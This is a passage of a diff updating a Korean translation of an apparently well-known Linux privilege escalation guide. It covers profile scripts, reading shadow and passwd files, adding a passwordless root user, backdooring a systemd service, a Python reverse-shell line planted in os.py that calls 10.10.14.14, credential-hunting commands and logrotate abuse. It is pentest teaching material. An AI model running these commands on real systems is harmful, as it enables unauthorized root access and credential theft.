ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”. **์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: {{#ref}} @@ -1237,28 +1232,28 @@ ssh-forward-agent-exploitation.md ### ํ”„๋กœํ•„ ํŒŒ์ผ -The file `/etc/profile` and the files under `/etc/profile.d/` are **์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค** when a user runs a new shell. Therefore, if you can **์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +ํŒŒ์ผ `/etc/profile`๊ณผ `/etc/profile.d/` ์•„๋ž˜์˜ ํŒŒ์ผ๋“ค์€ **์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ ์‰˜์„ ์‹คํ–‰ํ•  ๋•Œ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ**์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ๋งŒ์•ฝ ์ด๋“ค ์ค‘ ์–ด๋А ํ•˜๋‚˜๋ผ๋„ **์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -์ด์ƒํ•œ ํ”„๋กœํ•„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด **๋ฏผ๊ฐํ•œ ์ •๋ณด**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ด์ƒํ•œ profile script๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด **๋ฏผ๊ฐํ•œ ์ •๋ณด**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -### Passwd/Shadow Files +### Passwd/Shadow ํŒŒ์ผ -OS์— ๋”ฐ๋ผ `/etc/passwd` ๋ฐ `/etc/shadow` ํŒŒ์ผ์ด ๋‹ค๋ฅธ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋ฐฑ์—…์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋ชจ๋‘ ์ฐพ์•„๋ณด๊ณ ** ํŒŒ์ผ์„ **์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์—ฌ** ํŒŒ์ผ ์•ˆ์— **ํ•ด์‹œ๊ฐ€ ์žˆ๋Š”์ง€** ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค: +OS์— ๋”ฐ๋ผ `/etc/passwd` ๋ฐ `/etc/shadow` ํŒŒ์ผ์€ ๋‹ค๋ฅธ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋ฐฑ์—…๋ณธ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋ชจ๋‘ ์ฐพ์•„์„œ** **์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธ**ํ•˜์—ฌ ํŒŒ์ผ ๋‚ด์— **ํ•ด์‹œ๊ฐ€ ์žˆ๋Š”์ง€** ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -๊ฒฝ์šฐ์— ๋”ฐ๋ผ **password hashes**๋ฅผ `/etc/passwd` (๋˜๋Š” ๋™๋“ฑํ•œ) ํŒŒ์ผ ๋‚ด์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +๊ฒฝ์šฐ์— ๋”ฐ๋ผ `/etc/passwd` (๋˜๋Š” ๋™๋“ฑํ•œ) ํŒŒ์ผ ์•ˆ์—์„œ **password hashes**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ /etc/passwd +### Writable /etc/passwd -๋จผ์ €, ๋‹ค์Œ ๋ช…๋ น์–ด ์ค‘ ํ•˜๋‚˜๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. +๋จผ์ €, ๋‹ค์Œ ๋ช…๋ น์–ด๋“ค ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•ด password๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1270,22 +1265,21 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` ์˜ˆ: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -์ด์ œ `su` ๋ช…๋ น์œผ๋กœ `hacker:hacker`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด์ œ `su` ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ `hacker:hacker`๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๋˜๋Š”, ๋‹ค์Œ ์ค„์„ ์‚ฌ์šฉํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†๋Š” ๋”๋ฏธ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๊ฒฝ๊ณ : ์ด๋Š” ๋จธ์‹ ์˜ ํ˜„์žฌ ๋ณด์•ˆ์„ ์ €ํ•˜์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋˜๋Š” ๋‹ค์Œ ์ค„์„ ์‚ฌ์šฉํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†๋Š” ๋”๋ฏธ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ๊ฒฝ๊ณ : ์‹œ์Šคํ…œ์˜ ํ˜„์žฌ ๋ณด์•ˆ์ด ์ €ํ•˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -์ฐธ๊ณ : BSD ํ”Œ๋žซํผ์—์„œ๋Š” `/etc/passwd`๊ฐ€ `/etc/pwd.db`์™€ `/etc/master.passwd`์— ์œ„์น˜ํ•˜๋ฉฐ, `/etc/shadow`๋Š” `/etc/spwd.db`๋กœ ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. +์ฐธ๊ณ : BSD ํ”Œ๋žซํผ์—์„œ๋Š” `/etc/passwd`๊ฐ€ `/etc/pwd.db` ๋ฐ `/etc/master.passwd`์— ์œ„์น˜ํ•ด ์žˆ์œผ๋ฉฐ, `/etc/shadow`๋Š” `/etc/spwd.db`๋กœ ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. -์ผ๋ถ€ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์— **์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์–ด๋–ค **์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ์— ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ด ๋ณด์„ธ์š”. +๋ฏผ๊ฐํ•œ ํŒŒ์ผ๋“ค์— **์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ผ๋ถ€ **์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ**์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๊นŒ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -์˜ˆ๋ฅผ ๋“ค์–ด, ๋จธ์‹ ์ด **tomcat** server๋ฅผ ์‹คํ–‰ ์ค‘์ด๊ณ  **modify the Tomcat service configuration file inside /etc/systemd/,** ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ ์ค„๋“ค์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, ๋จธ์‹ ์ด **tomcat** ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ ์ค‘์ด๊ณ  **/etc/systemd/ ์•ˆ์— ์žˆ๋Š” Tomcat ์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด,** ๋‹ค์Œ ์ค„๋“ค์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` ExecStart=/path/to/backdoor User=root @@ -1295,7 +1289,7 @@ Group=root ### ํด๋” ํ™•์ธ -๋‹ค์Œ ํด๋”๋“ค์—๋Š” ๋ฐฑ์—…์ด๋‚˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (๋งˆ์ง€๋ง‰ ํ•ญ๋ชฉ์€ ์•„๋งˆ ์ฝ์„ ์ˆ˜ ์—†๊ฒ ์ง€๋งŒ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”) +๋‹ค์Œ ํด๋”๋“ค์—๋Š” ๋ฐฑ์—…์ด๋‚˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (์•„๋งˆ ๋งˆ์ง€๋ง‰ ๊ฒƒ์€ ์ฝ์„ ์ˆ˜ ์—†์„ ํ…Œ์ง€๋งŒ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1316,7 +1310,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### ์ตœ๊ทผ ๋ช‡ ๋ถ„ ๋™์•ˆ ์ˆ˜์ •๋œ ํŒŒ์ผ๋“ค +### ์ตœ๊ทผ ๋ช‡ ๋ถ„ ๋‚ด์— ์ˆ˜์ •๋œ ํŒŒ์ผ ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1324,7 +1318,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ํŒŒ์ผ +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ํŒŒ์ผ๋“ค ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1332,7 +1326,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH์— ์žˆ๋Š” Script/Binaries** +### **PATH์— ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ/๋ฐ”์ด๋„ˆ๋ฆฌ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1348,22 +1342,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### passwords๋ฅผ ํฌํ•จํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ์•Œ๋ ค์ง„ ํŒŒ์ผ๋“ค +### ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์•Œ๋ ค์ง„ ํŒŒ์ผ๋“ค -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)์˜ ์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ฉด, **passwords๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ํŒŒ์ผ๋“ค**์„ ๊ฒ€์ƒ‰ํ•œ๋‹ค.\ -**๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๋„๊ตฌ**๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)๋กœ, ๋กœ์ปฌ ์ปดํ“จํ„ฐ์— ์ €์žฅ๋œ ๋งŽ์€ passwords๋ฅผ Windows, Linux & Mac์—์„œ ๋ณต๊ตฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‹ค. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)์˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ด ๋„๊ตฌ๋Š” **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ๋“ค**์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.\ +**๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๋„๊ตฌ**๋กœ๋Š”: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๋Š” Windows, Linux & Mac์˜ ๋กœ์ปฌ ์ปดํ“จํ„ฐ์— ์ €์žฅ๋œ ๋งŽ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค. -### Logs +### ๋กœ๊ทธ -logs๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ์•ˆ์˜ **ํฅ๋ฏธ๋กญ๊ฑฐ๋‚˜ ๊ธฐ๋ฐ€ํ•œ ์ •๋ณด**๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. log๊ฐ€ ์ด์ƒํ• ์ˆ˜๋ก ๋” ํฅ๋ฏธ๋กœ์šธ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค (์•„๋งˆ๋„).\ -๋˜ํ•œ, ์ผ๋ถ€ "**bad**"๋กœ ๊ตฌ์„ฑ๋œ (backdoored?) **audit logs**๋Š” ์ด ๊ธ€์—์„œ ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ audit logs ์•ˆ์— **passwords**๋ฅผ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +๋กœ๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด **๊ทธ ์•ˆ์—์„œ ํฅ๋ฏธ๋กญ๊ฑฐ๋‚˜ ๊ธฐ๋ฐ€ ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋กœ๊ทธ๊ฐ€ ์ด์ƒํ• ์ˆ˜๋ก ๋” ํฅ๋ฏธ๋กœ์šธ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค (์•„๋งˆ๋„).\ +๋˜ํ•œ ์ผ๋ถ€ **bad** ๊ตฌ์„ฑ๋œ(๋ฐฑ๋„์–ด๊ฐ€ ์‹ฌ์–ด์ง„?) **audit logs**๋Š” ์ด ๊ธ€์—์„œ ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ๊ฐ์‚ฌ ๋กœ๊ทธ ๋‚ด๋ถ€์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **๊ธฐ๋ก**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -๋กœ๊ทธ๋ฅผ ์ฝ๊ธฐ ์œ„ํ•ด์„œ๋Š” [**adm**](interesting-groups-linux-pe/index.html#adm-group) ๊ทธ๋ฃน์ด ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. +**๋กœ๊ทธ๋ฅผ ์ฝ๊ธฐ ์œ„ํ•œ ๊ทธ๋ฃน** [**adm**](interesting-groups-linux-pe/index.html#adm-group)์ด ์ •๋ง ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. -### Shell ํŒŒ์ผ +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1376,59 +1370,58 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ํŒŒ์ผ์˜ **์ด๋ฆ„**์ด๋‚˜ **๋‚ด์šฉ**์— "**password**"๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ํ™•์ธํ•ด์•ผ ํ•˜๋ฉฐ, ๋กœ๊ทธ ๋‚ด์˜ IP์™€ ์ด๋ฉ”์ผ, ๋˜๋Š” ํ•ด์‹œ regexps๋„ ํ™•์ธํ•˜์„ธ์š”.\ -์—ฌ๊ธฐ์„œ๋Š” ์ด ๋ชจ๋“  ๋ฐฉ๋ฒ•์„ ์ผ์ผ์ด ์„ค๋ช…ํ•˜์ง€ ์•Š๊ฒ ์ง€๋งŒ, ๊ด€์‹ฌ์ด ์žˆ๋‹ค๋ฉด [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋งˆ์ง€๋ง‰ ๊ฒ€์‚ฌ๋“ค์„ ํ™•์ธํ•ด ๋ณด์„ธ์š”. +ํŒŒ์ผ ์ด๋ฆ„์— "**password**"๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๊ฑฐ๋‚˜ ํŒŒ์ผ์˜ **name**์ด๋‚˜ ํŒŒ์ผ **content** ๋‚ด๋ถ€์— ์žˆ๋Š” ํŒŒ์ผ๋“ค๋„ ํ™•์ธํ•ด์•ผ ํ•˜๋ฉฐ, ๋กœ๊ทธ ์•ˆ์˜ IPs์™€ emails, ๋˜๋Š” hashes regexps๋„ ํ™•์ธํ•˜์„ธ์š”. ์—ฌ๊ธฐ์—์„œ ์ด ๋ชจ๋“  ๋ฐฉ๋ฒ•์„ ์ผ์ผ์ด ์„ค๋ช…ํ•˜์ง€๋Š” ์•Š๊ฒ ์ง€๋งŒ, ๊ด€์‹ฌ์ด ์žˆ๋‹ค๋ฉด [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋งˆ์ง€๋ง‰ ๊ฒ€์‚ฌ๋“ค์„ ํ™•์ธํ•ด ๋ณด์„ธ์š”. ## ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ ### Python library hijacking -๋งŒ์•ฝ python ์Šคํฌ๋ฆฝํŠธ๊ฐ€ **์–ด๋””์„œ** ์‹คํ–‰๋ ์ง€ ์•Œ๊ณ  ํ•ด๋‹น ํด๋”์— **์“ฐ๊ธฐ ๊ฐ€๋Šฅ**ํ•˜๊ฑฐ๋‚˜ **python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, OS library๋ฅผ ์ˆ˜์ •ํ•ด backdoor๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (python ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ์œ„์น˜์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋ณต์‚ฌํ•ด ๋ถ™์—ฌ๋„ฃ์œผ์„ธ์š”). +๋งŒ์•ฝ python ์Šคํฌ๋ฆฝํŠธ๊ฐ€ **where** ์‹คํ–‰๋ ์ง€ ์•Œ๊ณ  ๊ทธ ํด๋”์— **can write inside** ์žˆ๊ฑฐ๋‚˜ **modify python libraries** ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, OS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•ด backdoor ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (python ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋  ์œ„์น˜์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋ณต์‚ฌํ•ด์„œ ๋ถ™์—ฌ๋„ฃ์œผ์„ธ์š”). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— **backdoor the library** ํ•˜๋ ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋์— ๋‹ค์Œ ์ค„์„ ์ถ”๊ฐ€ํ•˜์„ธ์š” (IP์™€ PORT๋ฅผ ๋ณ€๊ฒฝํ•˜์„ธ์š”): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate ์•…์šฉ -`logrotate`์˜ ์ทจ์•ฝ์ ์œผ๋กœ ์ธํ•ด ๋กœ๊ทธ ํŒŒ์ผ์ด๋‚˜ ๊ทธ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” `logrotate`๊ฐ€ ์ข…์ข… **root**๋กœ ์‹คํ–‰๋˜๋ฉฐ, ํŠนํžˆ _**/etc/bash_completion.d/**_ ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์ž„์˜์˜ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋„๋ก ์กฐ์ž‘๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. _/var/log_๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋กœ๊ทธ ํšŒ์ „์ด ์ ์šฉ๋˜๋Š” ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] > ์ด ์ทจ์•ฝ์ ์€ `logrotate` ๋ฒ„์ „ `3.18.0` ๋ฐ ์ด์ „ ๋ฒ„์ „์— ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค -์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -์ด ์ทจ์•ฝ์ ์€ [**logrotten**](https://github.com/whotwagner/logrotten)์œผ๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -์ด ์ทจ์•ฝ์ ์€ [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)**์™€ ๋งค์šฐ ์œ ์‚ฌํ•˜๋ฏ€๋กœ, ๋กœ๊ทธ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋ˆ„๊ฐ€ ํ•ด๋‹น ๋กœ๊ทธ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋กœ ๋Œ€์ฒดํ•ด ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜์„ธ์š”. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**์ทจ์•ฝ์  